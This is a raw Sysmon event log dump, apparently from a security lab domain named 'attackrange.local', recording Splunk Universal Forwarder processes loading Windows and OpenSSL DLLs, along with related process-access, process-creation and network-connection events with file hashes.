Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 10341000x800000000000000057682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000057677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.086{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018470Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:21.818{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A51BB11F368214B9788E0D622EB5916,SHA256=EADBCF7F38213CADF4AA88196704673B1B0CFEF73CE4FC638D8F6EA969CFA5D1,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.803{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.789{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.789{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000057825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.498{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63211-false10.0.1.12-8000- 734700x800000000000000057824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:21.553{7BD73061-755D-613B-BD0B-00000000F001}5976C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 